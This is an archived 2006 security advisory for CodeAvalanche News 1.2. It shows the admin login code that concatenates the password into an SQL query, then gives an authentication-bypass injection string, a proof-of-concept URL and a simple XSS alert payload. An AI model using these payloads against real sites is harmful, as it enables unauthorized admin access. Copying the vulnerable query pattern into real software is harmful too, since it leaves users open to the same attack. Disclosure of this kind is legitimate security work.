exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

CANews.txt

CANews.txt
Posted May 23, 2006
Authored by Omnipresent

CodeAvalanche News version 1.2 is susceptible to SQL injection and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, sql injection
SHA-256 | 3d1489034a99d622b55fef374c33ff774077e39a220c3512261729e7a4dd0741

CANews.txt

Change Mirror Download
------------------------------------------------------------------
- CANews Remote Multiple Vulnerability -
-= http://colander.altervista.org/advisory/CANews.txt =-
------------------------------------------------------------------

-= CodeAvalanche News Version 1.2 =-



Omnipresent
May 18, 2006


Vunerability(s):
----------------
SQL Injection
XSS Attack


Product:
--------
CodeAvalanche News Version 1.2

Vendor:
--------
http://www.truecontent.info/codeavalanche/asp-news-publishing-script.php


Description of product:
-----------------------

CodeAvalanche News is asp application which allows webmasters to easy add news page to their website.

Resource Specification
Platform(s): windows
Date Added: Mar 8, 2005
Last Updated: May 5, 2006
Author: xfairguy


Vulnerability / Exploit:
------------------------

In [path_of_appl.]\admin directory, there is the file default.asp and it contain a vulnerable code; because the variable
Password is not properly sanitized.
A malicious people can Inject SQL code by Password variable.

Let's look the source code, to understand the problem:

[default.asp]

[...]



userLogged=false
If Request("Password")<>"" Then
'response.Write(Request("Password"))
'response.flush

dim rsUser,selectSQL
selectSQL="SELECT * FROM PARAMS where PASSWORD='" & Request("Password") & "'"
a' OR 'a' = 'a
'response.Write(selectSQL)

set rsUser = Server.CreateObject("ADODB.Recordset")
rsUser.ActiveConnection =connStr
rsUser.Source = selectSQL
rsUser.CursorType = 3
rsUser.CursorLocation = 2
rsUser.LockType = 3
rsUser.Open()




[...]

[End default.asp]

As you can see the problem is in the string selectSQL. The input passed by the variable Password is not properly sanitized so
an attacker can Inject arbitrary SQL code. Look this example:

If the variable Password is : 1' OR '1' = '1

The selectSQL string looks like:

selectSQL="SELECT * FROM PARAMS where PASSWORD='1' OR '1' = '1'

And you can gain access to the application with admin rights.


- XSS Attack Explaination -

There is also an XSS bug in this application.
If you put in add_news.asp in the field Headline a script like:

<script>alert("XSS Attack")</script>

You can see the alert message "XSS Attack"



PoC / Proof of Concept of SQL Injection:
----------------------------------------

An attacker can go to this URL:

http://127.0.0.1/[path_of_application]/CANews/Admin/default.asp?password=1' OR '1' = '1&Submit=Login


Vendor Status
-------------

Not informed!

Credits:
--------
omnipresent
omnipresent@email.it
Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    0 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close